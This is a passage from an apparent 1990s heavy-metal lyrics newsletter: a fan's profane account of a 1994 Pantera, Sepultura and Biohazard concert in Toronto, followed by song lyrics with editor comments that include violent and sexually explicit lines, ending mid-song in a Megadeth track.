"I Don't Know" by Ozzy Osbourne +Song 10: "A New Level" by Pantera +Song 11: "Behind The Wall of Sleep" by Black Sabbath +Song 12: "Murder" by Sepultura +Song 13: "Reborn" by Slayer +Song 14: "Join The Army" by Suicidal Tendencies +Song 15: "Black Sunshine" by White Zombie +Song 16: "Countdown To Extinction" by Megadeth + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + Experiences with: +********* P A N T E R A / S E P U L T U R A / B I O H A Z A R D *********** + by G I N O F I L I C E T T I + + +It all started at about 3:00pm on Saturday June the 18th, me and my friend +Edgar were gonna start to head downtown (Toronto), and just hang around +until the show started at 7:00pm.. so we get down to the Bloor/Yonge Subway +Station, this spot is like the centre of the city. So we get off, and start +walkin' deeper into the heart of city. We always do this walk, it's really +kewl, 'cause we like check out all the shops on the way down Yonge +street... there are TONS of head shops and other 'banger hangouts... it was +amazing, I'm telling you, even at 3pm everywhere you looked you saw a +brother wearin' a Pantera shirt, or a sister wearin' a Sepultura shirt.. it +was really kewl... I had my Judas Priest shirt on, It's a nice small and +tight one that I like wearin' to concerts 'cause baggy shirts always get +ripped... Anyways.. there we are just bumming around downtown, waitin' for +7pm to roll around.. we went and ate at the huge Pizza Pizza at Yonge and +Dundas. We also hung out at the Mega HMV.. we went to see the DJ at the +back of the store, and they just changed over to the show they usually have +'Heart Attack' that's when they play all metal.. it was kewl! Another +wicked thing is that the DJ of 'Heart Attack' is Metal Tim Henderson.. a +former writer for M.E.A.T. magazine! I had a ball talkin' with him... we +talked about everything from the Kiss Tribute Album (_Kiss My Ass_) and +about the new Slayer album coming out in August (Fuck!! that pissed me off, +they were supposed to release the fucking thing in MAY!!), anyways, before +we left, he gave us some awesome posters, it was kewl, we got a nice huge +one from the Metallica show of two weeks prior.... Anyways... we bought out +a locker, and stashed the goods in there and it was now off to the amazing +building called Maple Leaf Gardens... and time for the show to begin!!! +Anyways... they set up the seating so that you could have seats on the +sides of the stage, and in the middle, (where the hockey rink usually is), +they had the huge 5000 person mosh pit!! We had pretty good seats, but the +bad thing was just that, THEY WERE SEATS.... so anyways.. we go to our +seats and wait for Biohazard to come on. Around 8pm Biohazard finally came +on, and started playin' some of their stuff, we were sitting in our seats, +and watching the pit go INSANE, and wishing all the while that we were in +the middle of it all... Biohazard played for about 30 minutes... they ended +their set with 'Punishment' my favorite song of theirs.. it was wicked! +Anyways, after that we had our first intermission... and desperately +awaited the arrival of Sepultura, the band that I most wanted to see outta +the three. Anyways.. after about 1/2 an hour, Sepultura comes blasting out +onto stage.. I get up outta my seat and I'm just ROARING!! It was purely +amazing, I was having the time of my life, headbanging like there was no +tommorow, and singing at the top of my lungs, and I still couldn't hear +myself! Anyways... I was like the only dude that was into them THAT much in +the seats.. I'm telling you I was HURTING to go into the mosh pit, I wanted +to join all my brothers down there soooooo desperately... but fuck, +anyways... they played all their best songs from Chaos A.D. and the +classics from Arise and Beneath the Remains... I 'banged and 'banged and +'banged.. it was soooooo wicked.. I just love that band... it was the +second time I saw 'em, I saw 'em for the first time with Fudge Tunnel, +Clutch and Fear Factory.. that was an amazing show... they RULED there.. +it's definately one of, if not my favorite show of all time. Ok, so next +after Sepultura was done, it was time for the band most of the building was +waitin' for... PANTERA. This time, me and Edgar decided that there was no +way in HELL that we'd be stuck in the seats for this set! So during the +intermission, we positioned ourselves for a quick entry onto the floor. +First we sat on the end of our row, and when the way was clear, we jumped +down to the Gold section and took some seats beside the aisle. Next thing +you know, I look at the dude beside me, and I startin' FLIPPING... it was +none other than Drew Masters the totally cool editor of M.E.A.T. !!!! I was +fucking freaked out, anyways, me and him start talking, about EVERYTHING, +about M.E.A.T., about the show, about the Metallica show, about the scene, +about the pit, about just fucking everything... he is a real cool guy, I'm +telling you, he treated us like equals, he didn't give us no 'your not +worthy' attitude or no shit like that... and I always knew that he was a +cool guy, just from reading the mag for the past 2.5 years. Anyways.. we +even met his wife Francine, a kewl chick, although she was kinda +disappointed that we weren't into stuff like Pearl Jam and Stone Temple +Pilots!! HAHAHAHAA... Anyways, the time was drawin' closer for Pantera to +come on, so we gave Drew our goodbyes and good lucks and told him to keep +the mag goin' strong. Anyways.. after that the house lights went off, and +WE WERE OFF.. we ran down the aisle, jumped the boards, and disappeared +into the crowd... WE MADE IT!!! It was such an awesome feeling. So now +Pantera comes out, and they start off their set with a song from their last +album "Vulgar Display of Power" called "A New Level" (check it out later in +this issue!).. it was wicked.. it felt soooo good to finally be in the +mosh... so there we are goin' mental, and having a ball, Edgar is just +surfin' left and right, and finally we lost each other.. that was when I +noticed a tiny hole leading to the rail, right in the first row! So I +squeezed into it, and there I was!!! Front row... Center! (Ok, just a touch +off center!) I got there during their third song, another one from +"Vulgar..." called "Walk".. So that's where I stayed for most of the rest +of the show. They played the entire new album "Far Beyond Driven" and lot's +of old classics. I gotta say that Pantera is one of the coolest bands on +stage, I'm telling you, they really are into their fans a lot, like +sometimes, there were some people tryin' to scramble up the speakers to get +on stage, and the bouncers are tryin' to yank 'em down, but Phil (Anselmo, +singer) always came over and helped him up, telling security to fuck off... +it was wicked, they let tons of people on stage, who later exited by taking +the eternal plunge, right into the crowd! Some other stuff happened too, +like Phil saw this guy in the crowd with the same tattoo on his stomach +that says in big stamp letters "UNSCARRED" he got the crowd to surf the guy +up to the stage... and he let him on, and after dive off of course... and +then he saw a familiar face in the crowd... so Phil yells out "Hey! It's +Mad Dog everyone!!!" So he got the crowd to get Mad Dog up on stage, and he +goes, "C'mon Mad Dog, you gotta do it for us man.. do the trick". So Mad +Dog goes, "Ok Phil... I'll fucking do it... just for you man!".. So they go +and get him a beer in a plastic cup, and then Mad Dog starts doin' the +trick.. he 'drinks' the entire beer through his FUCKING +NOSE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +Can you believe that?!! Well believe it dudes.. 'cause I saw it... it was +fucking amazing.. truly incredible and unbelievably surreal! Ok.. so, +between all this fun Pantera is just hammering away at their songs.. I +gotta admit, they are a really good band... good, tight show, I liked it. +Yeah, there was another thing that Phil did too... it's a well known fact +that Pantera are 'Legalize Marijuana' advocates, so Phil's out there, +talking about the greatness of the 'Sweet Leaf' and he tells the audience, +"You know, that's what I could go for right now.. I nice DOOB!" So of +course one of us loyal fans toss Phil up a joint, which he promptly lights +up and takes a couple drags of before starting back into the musik, with a +new sense of .... relaxation, anyways, the pot didn't affect his singing at +all.. they also started tossing out beers in cups to the crowd, I'm telling +you, they musta tossed out like 30 cups into the crowd.. that was +awesome... hehehe... Near the end of the concert, someone else tossed Phil +up doob, which he put in his mouth, and promptly took out and stared at, +with a pleased look on his face, the joint was obviously laced with hash +oil! Anyways, it's was near the end of their set, they were singing their +cover of the Black Sabbath tune "Planet Caravan", and that's when I +couldn't take it anymore... I was beginning to become lightheaded and tired +up there on the rail, with 5000 people pushing on me, and the fucking +bouncers were the worst ones I've ever seen, they were stingy with their +fucking water, it's the first time that the bouncers didn't give the first +row fans some water to drink.. it was absolutely horrible. Anyways, I +couldn't stand it one more minute up there... I was totally wasted, I +REALLY had to get outta there,... so I pushed my way back to where I jumped +the boards, and I jumped back, and when up the same flight of stairs that I +came down, I saw Drew, and I gave him an exhausted look.. hehehe.. I musta +looked so shitty, it's funny to think of it, my hair all over the place, +I'm dripping wet, and none of it's from 'external' water! Anyways, I made +my way up to the washrooms, and drank outta the facet for at least 5 +minutes straight 'cause I was soooooo dead.. after that, I made my way back +down to Drew and Fran, and I sat there, the show was almost over, so I +decided not to go back to the pit.. anyways.. there was about 20 minutes +left including the encore, and it was pretty good... at the end, there were +throwing out these round things like frisbee's, and one came right for me +and Drew, we jumped up, and some other guy caught it... fuck.. Drew flipped +too, and almost broke his neck! hahahahahahaha.... anyways... after the +show was over, I talked some more with Drew, he was debating with Fran +whether to go back stage or not, she didn't want too, 'cause it was too hot +(the concert was during a brutal heat wave we had here, the temperature was +like 35-38C (90-100F) every day, it was murder). Anyways, that's when I +hear my name being shouted from the floor, it was Edgar, he was down there, +being held back by security, so I said goodbye to Drew once again.. thanked +him for the mag, and I joined Edgar and we left... I immediately ran out to +go and buy some kind of drink... fuck I was dead!! Anyways.. it was WELL +worth it all.... I really liked that concert... anyways.. as I said, I was +really there for Sepultura... but all the bands rocked... anyways, I kept +my ticket stub in my socks so I wouldn't lose it, and when I got home it +was like.. DISINTEGRATED!! Anyways.. sorry for making this soooooo long, it +looks like I can't write the Metallica Story now, since it's like midnite +on Tuesday oh well... I'll save that for next week... + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[The video for this song is really kewl.. I haven't seen ANY King Diamond +videos for "The Eye"... and this is the only one I've seen for "Them", +anyway, this song rulez -- Editor] + +************************ W E L C O M E H O M E ************************** + by K I N G D I A M O N D + Album: "Them" + + +Grandma' welcome home... You have +been gone for far too long +Is this a dream, are You really back? + +Let me help You out of the chair... +Grandma' +Let me touch You, let me feel... Ahhh + +Grandma' take a look +What do You think of the house and +the silvery moon? +We are going to repaint the front door +soon + +Let me help You out of the chair... +Grandma' +Let me touch You, let me feel... Ahhh + +Wait till You see Your room up in the +attic +Prepared just like You said, without a +bed +You will find Your rocking chair and +the tea pot that Missy found + +Let me help You out of the chair... +Grandma' +There is someone waiting for You, +now come along + +Missy and Mother, they are dying to +meet You +How strange... she's spoken no word... +I wonder Grandma'! Are You all right? + +Grandma' what was it like to be on +that holiday site +"Oh it could have been worse but +with "THEM" by my side +In the twilight "THEY" sang all the old +lullabies" +Grandma' who are "THEY"... "never +mind You dirty little brat" + +"Let us go inside, something's on +"THEIR" mind +"THEY" are still alive, can You feel +"THEIR" eyes +Can You feel "THEIR" eyes? +Now that You are stuck with me You +better be my friend. + +********************* T O B E C O N T I N U E D *********************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********** D I R T Y D E E D S D O N E D I R T C H E A P ********** + by A C / D C + Album: "Dirty Deeds Done Dirt Cheap" + + +If your havin' trouble with your high school head +He's givin' you da blues +You wanna graduate but not in 'is bed +Here's what you gotta do - +Pick up the phone +I'm always home +Call me any time +Just ring 36 24 36 [hey!] +I lead a life of crime + +Dirty Deeds Done Dirt Cheap +[repeat] +[repeat] +[repeat] +Dirty Deeds and they're Done Dirt Cheap +[repeat] + +You got problems in your life of love +You got a broken heart +He's double dealin' with your best friend +That's when the teardrops start - +Pick up the phone +I'm here alone +Or make a social call +Come right in +Forget about him +We'll have ourselves a ball. + +Dirty Deeds Done Dirt Cheap +[repeat] +[repeat] +[repeat] +Dirty Deeds and they're Done Dirt Cheap +[repeat] + +If you got a lady but you want her gone +But you ain't got the guts +She keeps naggin' you night and day +Enough to drive you nuts - +Pick up the phone +Leave her alone +It's time you made a stand +For a fee I'll be happy to be +Your back door man + +Dirty Deeds Done Dirt Cheap +[repeat] +[repeat] +[repeat] +Dirty Deeds and they're Done Dirt Cheap +[repeat] +[repeat] +[repeat] +Concrete Shoes, Cyanide, TNT, +Done Dirt Cheap +Neckties, Contracts, High Voltage! +Done Dirt Cheap +Dirty Deeds Done Dirt Cheap +[repeat] + +**************************** T H E E N D ******************************** +Typed by: Lyrics archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[Fuck.. this song is the funniest... I love it.. the music makes it even +more funny... I hope it DOES offend some of you, 'cause if this offends you +I don't think you deserve to be getting Loud Lyrix. -- Editor] + +***************** S T A R T I N ' U P A P O S S E ******************* + by A N T H R A X + Album: "Attack of the Killer B's" + + +Now I'm gonna tell ya a story +A tale of wrong and Right +and freedom is the reason +You can't take it without a fight + +So now I'm startin' up a posse +(Suck my dick, suck my dick) +To come and look for you +We're gonna put a stop +To what you want to do +You fucking whores +(You fuckin' whores) +That's all you are + +You say our records are offensive +(You're a douche, You're a douche) +Our messages ain't right +You say "We're gonna label records +So our kids can grow up right" +You fucking whores +(Let them decide) +That's all you are + +Chorus +Shit, fuck, satan, death, sex drugs, rape +These seven words you're trying to take +Shit, fuck, satan, death, sex, drugs, rape +Right or wrong it's our choice to make +America the beautiful, Land of the free +Don't change the words to land of Hypocrisy + +Now I'm startin' up a posse +(Fascist scum, fascist scum) +And we'll damn sure make you see +Something that offends you +May not be offensive to me +You fucking whores +(You fuckin' whores) +That's all you are + +Now you might take offense +To a word like "fuck" or "shit" +(Dick) +But you fuckin' don't have the right +(Cunt) +To discriminate me for saying it +You fuckin' whores +(You fuckin' whores) +That's all you are + +Chorus + +So now I'm startin' up a posse +(Motherfucker, motherfuck) +To fight for freedom of choice +To fight for freedom of speech +We're gonna make you hear our voice + +And now I don't do this to shock you +(That's the end, that's the end) +I don't do this for spite +You've got the choice, don't buy it, don't read it, +And don't say your opinion's right +You fucking whores +(You fuckin' whores) +That's all you are +(Cunty, cunty, cunty, cunt) + +You know you can't censor my feelings +You can't censor my thoughts +Censorship's against +Everything America stands for +You fuckin' whores +(Let us decide) +That's all you are +(And this ain't sexist, either) + +Chorus + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[Oh!! One of the all time BEST athems around, I'm telling you, this song +just gets the heart pounding, and the head banging.. it's really good -- +Editor] + +************************* R A M I T D O W N *************************** + by J U D A S P R I E S T + Album: "Ram It Down" + + +Raise the sights, the city lights are calling +We're hot tonight, the time is right, there's nitro in the air +In the street is where we'll meet, we're warning +On the beat, we won't retreat, beware + +Thousands of cars and a million guitars +Screaming with power in the air +We've found the place where the decibels race +This army of rock will be there + +To ram it down, ram it down +Straight through the heart of this town +To ram it down, ram it down +Razing the place to the ground +Ram it down + +Bodies revvin' in leather heaven in wonder +Lights are dimmin' and heads are swimmin' as thunder hits the stage +Hell breaks loose, turn on the juice get stronger +We metal maniacs begin to rave + +Thousands of cars and a million guitars +Screaming with power in the air +We've found the place where the decibels race +This army of rock will be there + +To ram it down, ram it down +Straight through the heart of this town +To ram it down, ram it down +Razing the place to the ground +Ram it down + +Shout it out, we're all together now +Shout it out, we join as one, one + +Thousands of cars and a million guitars +Screaming with power in the air +We've found the place where the decibels race +This army of rock will be there + +To ram it down, ram it down +Straight through the heart of this town +To ram it down, ram it down +Razing the place to the ground +Ram it down + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[I've always loved this song, it just shows you how vain the Kiss boys +were (I mean ARE!) -- Editor] + +****************** G R E A T E X P E C T A T I O N S ******************** + by K I S S + Album: "Destroyer" + + +You're sittin' in your seat +And then you stand and clutch your breast +Our music drives you wild along with the rest + +You watch me singing this song +You see what my mouth can do +And you wish you were the one I was doing it to + +And you watch me playin' guitar +And you feel what my fingers can do +And you wish you were the one I was doing it to +Well, listen + +You've got great expectations +You've got great expectations + +You're dying to be seen +And you wave and call my name +But in the day it seems that I'm a million miles away + +You watch me beatin' my drum +And you know what my hands can do +And you wish you were the one I was doing it to +Well, listen + +You've got great expectations +You've got great expectations +You've got great expectations + +Then you feels these eyes from the stage +And you see me staring at you +And you hear between the lines, my voice is calling to you +Well, listen + +You've got great expectations +You've got great expectations +You've got great expectations, do you want to play the role +You've got great expectations, you'd even sell me your soul +You've got great expectations +You've got great expectations +You've got great expectations, do you want to play the role +You've got great expectations, you'd even sell me your soul +You've got great expectations, as long as you can play the role +You've got great expectations + +****************************** T H E E N D ******************************* +Typed by: KISSARMY Members + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********************* W E E K E N D W A R R I O R *********************** + by I R O N M A I D E N + Album: "Fear Of The Dark" + + + The rebel of yesterday, tomorrow's fool + Who are you kidding being that cool? + + Trying to break away from running + with the pack + But they ain't listening so you've + gotta go back + + You're a weekend warrior when + you're one of the crowd + But it's over, just look at you now... + + You're not so brave the way you behave + It makes you sick, gotta get out quick + It's all bravado when you're out + with your mates + It's like a different person goes through + those gates + And the game begins + the adrenalin's high + Feel the tension maybe someone + will die... + + A weekend warrior lately + A weekend warrior sometimes + A weekend warrior maybe you ain't + that way anymore + + You've gotta get out gotta get away + But you're in with a clique it's not + easy to stray + You've gotta admit you're just + living a lie + It didn't take long to work out why + + It's hard to say why you got involved + Just wanting to be part + just wanting to belong... + + A weekend warrior lately + A weekend warrior sometimes + A weekend warrior maybe you ain't + that way anymore + + Some of the things that you've done + you feel so ashamed + After all it's only a game... isn't it? + And after all the adrenalin's gone + What you gonna do on Monday? + + A weekend warrior lately + A weekend warrior sometimes + A weekend warrior maybe you were + never like that at all + +***************************** T H E E N D ******************************* +Typed by: The Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[This song is SURE to offend some of the weaker hearted subscribers out +there.. hehehehe.. just look at it as one big joke, I know that's how +Danzig and the Metallica boys see it -- Editor] + +************** L A S T C A R E S S / G R E E N H E L L **************** + by M E T A L L I C A + Album: "The $9.98 CD -- Garage Days Re-Revisited" + Original Song by: Glenn Danzig (The Misfits) + + +--- ( Last Caress ) --- + +I've got somethin' to say +I killed your baby today and it +Doesn't matter much to me +As long as it's dead + +I've got somethin' to say +I raped your mother today and it +Doesn't matter much to me +As long as she spread + +Chorus: + +These lovely dead +I'm waiting for your breath +'Cause sweet Death wants Last Caress. + +Repeat verse 1 +Repeat chorus 2 times + +One Last Caress today, +Ohhh Ohhh Ohhh (repeat) + +--- ( Green Hell ) --- + +Here in this place lies the key to your death +Touch it, see it +Here in this place is the means to your end +Touch it, feel it +Green hell + +You did your best as someone could +I bet you never knew you would +Did you run away from it? +I bet you thought you were really good + +We're gonna burn in hell +Green Hell Green Hell +Like every hell but kind of green +Green Hell Green Hell +Try let me get back up there +Green Hell Green Hell +Feel it burning in your cereal +Green Hell Green Hell +Throw our fuckin' friends inside +Green Hell Green Hell +Gotta fuckin' pay and you must stay +Green Hell Green Hell +Cannot forget about the best +Green Hell Green Hell +Hell is reigning in your blood +Green Hell Green Hell +Gotta burn it all +Green hell + +You did your best as someone could +I bet you never knew you would +And did you run away from me +I bet you think they were really good + +Here in this place lies the key to your death +Touch it, see it +Here in this place sister won't let it in +Touch it, feel it +Green hell + +You did your best as someone could +I bet you'd never knew you would +Did you run away from it? +I bet you thought you were really good +You've come to this as someone told +I bet you'd never knew you would +Gonna bring +Green hell + +***************************** T H E E N D ******************************* +Typed By: Gregory Smith + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +**************************** S O W H A T ******************************** + by M I N I S T R Y + Album: "Land of Rape and Honey" + + +"You have had all that money can give you, but that wasn't +enough. You became a thrill-seeker. Kill for the thrill. +(assassin) This thrill-seeking became the one great thing in +your life, planning one thrill on another until the murder. Kill +for the love of killing. (guilty) Kill for the thrill. The +thrill-seeker comes from all walks of life. He comes from the +home, a home where the parents are to busy to treat their children +with respect." + + Die! Die! Die! Die! + Scum-suckers! Debility divulged! + Anal fuck-fest, thrill Olympics + Savage scourge supply and sanctify + So what? So what? + So what? So what? + Die! Die! Die! Die! + + Die! Die! Die! Die! + You said it! + Sedatives supplied become laxatives + My eyes shit out lies + I only kill to know I'm alive + So what? So what? + So what? So what? + Die! Die! Die! Die! + +"Kill for the thrill. (assassin) Some people think newspapers +exaggerate juvenile crime. All that is defined mostly to the +large cities, juvenile delinquency is underlined. Thus parents +think something is going wrong with the environment. Adults +create the world, children live it. Juvenile delinquency is +always rooted in adult delinquency. And in this process, parents +play the key role when children grow up among adults who refuse +to recognize anything that is fine and good, or worthy of +respect." + + Die! Die! Die! Die! + So what, it's your own problem to learn to live with + Destroy us, or make us slaves + We don't care, it's not our fault that we were born too late + A screaming headache on the promised age + Killing time is appropriate + To make a mess and fuck all the rest, we say, we say + So what? So what? + So what? So what? + Die! + + Die! + Now that I know what it's like, + I'll kill them all if I like + Only time will decide + No one listened to reason, + it's too late and I'm ready to fight + So what? Now I'm ready to fight! + I'm ready to fight! (x4) + Fight! (x4) + So What? (x6) + +**************************** T H E E N D ******************************** +Typed by: Bill Northrup + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[This is the one song that got me into Ozzy Osbourne, it's always been a +classic, did I ever mention that Ozzy is my idol? -- Editor] + +************************ I D O N ' T K N O W ************************** + by O Z Z Y O S B O U R N E + Album: "Blizzard of Ozz" + + +People look to me and say +Is the end near, when is the final day +What's the future of mankind +How do I know, I got left behind +Everyone goes through changes +Looking to find the truth +Don't look at me for answers +Don't ask me - I don't know +How am I supposed to know +Hidden meanings that will never show +Fools and prophets from the past +Life's a stage and we're all in the cast +Ya gotta believe in someone asking me who is right, +Asking me who to follow, don't ask me, I don't know, +I don't know - I don't know - I don't know +Nobody ever told me I found out for myself +Ya gotta believe in foolish miracles +It's not how you play the game +It's if you win or lose you can choose +Don't confuse win or lose, it's up to you +It's up to you - it's up to you - it's up to you +(solo) +People look to me and say +Is the end near, when is the final day +What's the future of mankind +How do I know, I got left behind +Everyone goes through changes +Looking to find the truth +Don't look at me for answers +Don't ask me - I don't know +How am I supposed to know +Hidden meanings that will never show +Fools and prophets from the past +Life's a stage and we're all in the cast +Ya gotta believe in someone asking me who is right, +Asking me who to follow, don't ask me, I don't know, +I don't know - I don't know - I don't know + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************************ A N E W L E V E L **************************** + by P A N T E R A + Album: "Vulgar Display of Power" + + +Now a new look in my eyes my spirit rise, +Forget the past, present tense works and lasts +Got shit on, pissed on, spit on, stepped on, fucked with, +Pointed at by lesser men. + +Pre: +New life in place of old life, unscarred by trials + +Chorus: +A new level of confidence and power. + +Demanding plea for unity between us all- +United stand, death before divided fall +In mock military order, vulgar, power, impatient +Because time is shorter + +(Pre) +(Chorus) + +No fucking surrender. +Can't lose +Life kills + +**************************** T H E E N D ******************************** +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************ B E H I N D T H E W A L L O F S L E E P ************** + by B L A C K S A B B A T H + Album: "Black Sabbath" + + +Precious cups within the flower +deadly petals with strange power +faces shine a deadly smile +back up on you at your trial + +Chill and numbs from head to toe +icy sun with frosty glow +Why'd you go reaching your sorrow? +why'd you go read no tomorrow + +Feel your spirit rise with the priest +feel your body falling to its knees +Take your walk of remorse +take your body to a corpse +take your body to a corpse +take your body to a corpse +if you want all remorse +take your body to a corpse + +Now from darkness, there springs light +Wall of Sleep is cold and bright +Wall of Sleep is lying broken +Sun shines in, you are awoken + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +****************************** M U R D E R ******************************** + by S E P U L T U R A + Album: "Arise" + + +Chaotic violence in my eyes +This whole world moves backwards +Peace, another sign that lies +Life today is not worth the pain + +On the radio, another homicide +Inmates suffocate in jail +Severed heads of revolt +I wish I'd never been born + +Same hand that builds -- destroys +Same hand that relieves -- betrays +Same hand that seeds -- burns +Same peace that exists -- here lies + +I can't trust anymore +Criminals within the law +I have something to say +Where I live, don't believe in another day + +Heresy and graft +Apartheid +Same religion that saves -- damns you! + +***************************** T H E E N D ******************************* +Typed by: Lyrics Archives at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +****************************** R E B O R N ******************************** + by S L A Y E R + Album: "Reign in Blood" + + +Convicted witch my life will end +At midnight on the stake +My dedicated life was spent +To insubordinate +Secured by lock inside a cell +Imprisoned for no crime +The shackles will be useless +When your life is out of time + +Incantation spell gone by +I will see life again +My deals will made eternally +I signed the book of red +My rage will be unleashed again +Burning the next morn +Death means nothing, there is no end +I will be reborn + +No gift of exile in my fate +I'll get no amnesty +You can't control my destiny +There is no habitual need +Proclaim my death, to end my wrath +It takes more than one try +Indulge your ineffective curse +I will never die + +You think by killing me tonight +My powers will not rise +There'll be nowhere for you to run +When my hatred comes to life +Condemned to fill the prophecy +Allowing no first born +Defy your morbid declaration +Leave you ripped and torn + +Count your blessing would be priest +As I burn upon the stake +You'd be forgiven endlessly +But your values are all fake +Forever servant of my Lord +By choice and not submission +Maybe now I've made you wonder +Am I superstition + +Incantation spell gone by +I will live again +My deals will made eternally +I signed the book in red +My rage will be unleashed again +Burning the next morn +Death means nothing there is no end +I will be reborn + +***************************** T H E E N D ******************************* +Typed By: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[Ah..... Suicidal.. what a wicked band.. this song especially really says +it all.. this is Suicidal's entire philosophy right here... love this quote +"It's the size of your heart, not the length of your hair." -- Editor] + +*********************** J O I N T H E A R M Y ************************* + by S U I C I D A L T E N D E N C I E S + Album: "Join the Army" + + +I got a story to tell, now listen up real well +Pay attention this way to what I got to say +Took it to the street, rap to the people we meet +Now we're rocking out hard, to the Suicidal beat +Tried to deny our right, so we put up a fight +Just doing our thang, they tried to call it a gang +Saw the way we tool, that's all that it took +That's all she wrote, they had their scapegoat + +Dressed down, Homeboyz, Minority-Join the Army + +We're the few, we're the proud, we like to jam it loud +The music we play, won't have it any other way +We're armed to the bone with our music and our tone +Recruiting on the street, with the sound of our beat +Growing larger every day, and everytime we play +Don't need no college plan, we're just a hard-rocking band +We like our music to please, but we ain't gonna appease +No pressure's too much, to make us change our touch + +Hardcore, Metal, the New Wave +We're not a gang-Join the Army + +Don't be no fool, don't let your prejudice rule +Don't judge by your feer, judge us by your ear +Can't believe every word, of every story that you've heard +Just play the song, I know you'll start to rock along +Well I don't care, 'bout the clothes you were +It's the size of your heart, not the length of your hair +Don't make no difference to me, the color that you be +Black, white or brown, it's all the same to me + +Well if you still don't believe, you best get up and leave +Do what you must do, but this ain't the place for you +You got no right, but if you start a fight +We'll be rockin your head, but with our fists instead + +I'll fight it with the band, right down till the end +Ask anyone I've met, this ain't no idle threat +Don't flap no fit, and it won't come to this +Bust as for me, I'm down with the Army + +New York, Venice +Why join a gang? +Join the Army + +Suicidal Rock-Join the Army +Suicidal Rock-Join the Army +Suicidal Rock-Join the Army +Suicidal Rock-I WANT YOU TO Join the Army-S.T. + +***************************** T H E E N D ******************************* +Typed by: The Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*********************** B L A C K S U N S H I N E *********************** + by W H I T E Z O M B I E + Album: "La Sexorcisto: Devil Music Vol 1" + + +(Gripping the wheel his knuckles went white with desire +The wheels of his Mustang exploding on the highway like a slug from a .45 +True Death: 400 Horsepower of maximum performance piercing the night +This is Black Sunshine.) + +Yeah! Move me in the silence baltic motorway +Hang me on the edge before I fall away +Apocalypse is dawnin' action on the mile +A "can-do" revolution, earth to the river [nile] +Sweet'n the ride Black Sunshine +Sweet'n the ride, yeah! +Sweet'n the ride Black Sunshine +Sweet'n the ride, yeah! +Cry a river "cosmic", moon in scorpio +Feel her body "breathe", acid radio +Tell me that you like it, when I'm going down! +Tell me that you like it, move to the speed of [sound] +Sweet'n the ride Black Sunshine +Sweet'n the ride, yeah! +Sweet'n the ride Black Sunshine +Sweet'n the ride, yeah! +Go! Slide into, I said "44" cool heart can +A hypnotize dream into infinity, I turned the love to lies +Crawl across the water, wave and sink into the sea +Reflect'n onto everything, that you can never be +"Check-out!", yeah! +To the devil a daughter comes 200 worlds away, yeah +Born to lose the love you choose, destroy another day +Check out!! +Sweet'n the ride Black Sunshine +Sweet'n the ride, yeah! +Sweet'n the ride Black Sunshine +Sweet'n the ride +Stare into the T.V. kiss off the pain +Wonderland is falling, no sing, no rain momentary +Damage into the high drift me to the circuit sky + +(Finally nothing moves. High noon. +Black top rolling below the asphalt drive +A concrete fascination scraping the edge of nothing +This is Black Sunshine.) + +**************************** T H E E N D ******************************** +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************* C O U N T D O W N T O E X T I N C T I O N *************** + by M E G A D E T H + Album: "Countdown to Extinction" + + +Endangered species, caged in fright, +Shot in cold blood, no chance to fight. +The stage is set, now pay the price. +An ego boost, don't think twice. +Technology, the battle's unfair, +You pull the hammer without a care. +Squeeze the trigger that makes you Man, +Pseudo-safari, the hunt is 